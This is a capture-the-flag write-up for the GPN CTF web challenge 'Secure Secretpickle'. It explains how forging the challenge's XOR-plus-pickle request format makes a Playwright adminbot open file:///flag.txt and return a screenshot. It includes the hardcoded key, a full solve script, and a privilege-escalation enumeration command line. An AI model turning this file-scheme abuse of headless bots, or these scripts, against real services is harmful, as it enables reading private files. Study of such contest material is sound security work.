Secure Secretpickle
Secure Secretpickle
Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-06 | Status: Solved Techniques: adminbot_screenshot_exfiltration, file_protocol_abuse_via_adminbot, hardcoded_xor_key_extraction, secretpickle_format_forging
Summary
Task: Custom 'secretpickle' serialization (XOR + pickle) with seccomp-sandboxed server-side deserialization, Pyodide client, and Playwright adminbot that stores flag as admin password. Solution: Bypass all pickle/seccomp complexity by sending file:///flag.txt URL to adminbot, which renders the flag in Chromium and returns a screenshot.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
gpnctf| ID:20260606_gpnctf_secure_secretpickle - Tags: playwright, fastapi, pickle, seccomp, xor_encryption, file_protocol, pyodide, adminbot, dompurify, screenshot_exfiltration
- Indicators: adminbot that visits arbitrary URLs and returns screenshots, hardcoded XOR key in serialization format, seccomp sandbox with only write syscall allowed, file:// protocol not blocked in Playwright page.goto(), flag stored as admin password in same container as adminbot
- Source:
20260606_gpnctf_secure_secretpickle.md
Foothold
Vulnerability / Misconfiguration
- Adminbot_screenshot_exfiltration
- File_protocol_abuse_via_adminbot
- Hardcoded_xor_key_extraction
- Secretpickle_format_forging
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- adminbot_screenshot_exfiltration
- file_protocol_abuse_via_adminbot
- hardcoded_xor_key_extraction
- secretpickle_format_forging
- Tags: playwright, fastapi, pickle, seccomp, xor_encryption, file_protocol, pyodide, adminbot, dompurify, screenshot_exfiltration
Original Writeup
<details><summary>Click to expand original content</summary>Secure Secretpickle — GPNCTF 2025
Description
The only serialization method that I found in the restaurant were Pickles. So I made an encrypted (and secure) version of it that nobody can crack or pwn!
A multi-component web challenge with a custom "secretpickle" serialization format (XOR encryption + pickle), a seccomp-sandboxed server, a Pyodide-based browser client, and a Playwright adminbot. The flag is stored as the admin user's password in the same container.
Analysis
Architecture Overview
The challenge has four main components:
-
Server (
server.py): FastAPI app that deserializes incoming requests usingsecretpickle_load()with asafe_pickle_loaddecoder. Supports actions:hello,register,login,whoami,encrypt,decrypt, andadminbot. -
Client (
client.py): Runs in-browser via Pyodide (Python-in-WASM). Parses URL query parameters as YAML, addslocalStorage.usernameandlocalStorage.passwordto the payload, sends secretpickle-encoded POST to server. Response HTML goes through DOMPurify 3.4.7. -
Adminbot (
adminbot.py): Playwright/Chromium bot that:
- Registers user "admin" with
password=FLAG(read from/flag.txt) - Logs in (stores credentials in localStorage)
- Visits
whoamito confirm login - Visits attacker-supplied URL
- Takes a screenshot and returns it
-
SecretPickle format (
secretpickle.py):base64(XOR(pickle_bytes[14:], key))where the XOR key is hardcoded:77c07f8fd2ae7ad9f5aabc008c79d0d3. -
Safe loader (
safe_loader.py): Spawns a subprocess, applies seccomp filter (default=KILL, allow onlywritesyscall), then doespickle.loads()→json.dumps()→ stdout. Parent reads stdout and doesjson.loads().
Key Source Code
secretpickle.py — hardcoded XOR key:
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3")
def secretpickle_dump(decoded, encoder=pickle.dumps):
raw = encoder(decoded)
trimmed = raw[len(SECRETPICKLE_OBJECT_PREFIX):]
xored = secretpickle_encrypt(trimmed)
encoded = base64.b64encode(xored).decode()
return encoded
adminbot.py — reads flag and visits arbitrary URLs:
FLAG = open("/flag.txt").read().strip()
async def visit(url):
# ... registers admin with password=FLAG, logs in ...
await page.goto(url) # visits attacker-supplied URL
screenshot = await page.screenshot(full_page=True)
return screenshot
server.py — adminbot action accepts any base64-encoded URL:
if action == "adminbot":
url = base64.b64decode(params["url"]).decode()
adminbot_url = f"http://{ADMINBOT_HOST}:{ADMINBOT_PORT}/visit?url={quote(url)}"
screenshot = await asyncio.to_thread(_fetch)
return ok(f"<img src='data:image/png;base64,{base64.b64encode(screenshot).decode()}'>")
Attack Surface Analysis
| Vector | Feasibility | Why |
|---|---|---|
| Server-side pickle RCE | ❌ | Seccomp sandbox blocks all syscalls except write |
| Seccomp bypass via eval | ❌ | eval() works but subprocess is isolated from server process |
| YAML injection in client | ❌ | & is replaced with newline, preventing YAML anchors |
| DOMPurify bypass | ❌ | Version 3.4.7, no known bypasses |
javascript: URL via adminbot | ❌ | Playwright blocks javascript: protocol in page.goto() |
data: URL with JS | ❌ | Works but has null origin — can't access server's localStorage |
file:// URL via adminbot | ✅ | Chromium renders local files, adminbot returns screenshot |
The Vulnerability
The adminbot's page.goto(url) accepts any URL scheme, including file://. Since the adminbot and server run in the same container, and /flag.txt exists on disk (the adminbot reads it at startup), we can make Chromium navigate to file:///flag.txt. Chromium renders the file content as a text page, and the adminbot takes a screenshot which is returned to us as a base64-encoded PNG.
The entire pickle/seccomp/XOR complexity is a red herring — the real vulnerability is the unrestricted URL scheme in the adminbot.
Solution
Step 1: Forge a secretpickle request
Since the XOR key is hardcoded in secretpickle.py, we can import the module directly and use secretpickle_dump() to create valid requests:
from secretpickle import secretpickle_dump, secretpickle_load
payload = {
"action": "adminbot",
"params": {"url": base64.b64encode(b"file:///flag.txt").decode()}
}
b64 = secretpickle_dump(payload)
Step 2: Send the request and extract the screenshot
POST the encoded payload to the server. The server forwards the URL to the adminbot, which:
- Registers "admin" with password=FLAG
- Logs in
- Navigates to
file:///flag.txt - Takes a screenshot
- Returns it to the server, which embeds it in the response as a base64 PNG
Full Solve Script
#!/usr/bin/env python3
"""
Secure Secretpickle exploit — GPNCTF 2025
Abuses adminbot's unrestricted page.goto() to read /flag.txt via file:// protocol.
"""
import sys, os, base64, json, re
import urllib.request, urllib.parse
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), 'secretpickle-secure'))
from secretpickle import secretpickle_dump, secretpickle_load
TARGET = sys.argv[1].rstrip('/')
def send_dict(d, timeout=120):
b64 = secretpickle_dump(d)
url = TARGET + '/' + urllib.parse.quote(b64, safe='')
req = urllib.request.Request(url, method='POST')
with urllib.request.urlopen(req, timeout=timeout) as r:
raw = r.read().decode()
enc = json.loads(raw)
return secretpickle_load(enc)
# Make adminbot visit file:///flag.txt and return screenshot
bot_url = base64.b64encode(b"file:///flag.txt").decode()
res = send_dict({"action": "adminbot", "params": {"url": bot_url}})
if res.get("status") == "ok":
result = res.get("result", "")
# Save screenshot
m = re.search(r"data:image/png;base64,([A-Za-z0-9+/=]+)", result)
if m:
img_data = base64.b64decode(m.group(1))
with open("flag_screenshot.png", "wb") as f:
f.write(img_data)
print(f"Screenshot saved ({len(img_data)} bytes)")
# Extract flag from any text in response
flags = re.findall(r"GPNCTF\{[^}]*\}", result)
if flags:
print(f"FLAG: {flags[0]}")
else:
print(f"Error: {res}")
Failed Approaches
-
Server-side pickle RCE: The seccomp sandbox in
safe_loader.pykills the process on any syscall exceptwrite. Whileeval()andexec()work (they're pure Python bytecode execution), the subprocess can't perform file I/O, network operations, or any OS interaction beyond writing to already-open file descriptors. -
Subprocess stdout injection: Successfully demonstrated that
exec()works under seccomp and can control the subprocess output viasys.stdout.write()+sys.exit(0). However, the subprocess is completely isolated from the server process — it can't modify server memory, hook functions, or alter responses to other clients. -
YAML injection in client: The client parses URL query parameters as YAML (
?key=value→key: value). The&separator is replaced with newline. This prevents YAML anchors (&anchor) which could have been used to referencepl["password"]in the params. Without anchors, there's no way to make the YAML parser include the admin's password in a visible field. -
javascript:URL: Playwright blocksjavascript:protocol inpage.goto(), raising an error. -
data:URL with JavaScript: Works — the adminbot can visitdata:text/html;base64,...URLs and execute JavaScript. However,data:URLs have a null origin, solocalStorageaccess returns null (it's scoped to the challenge domain's origin, not the null origin).
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR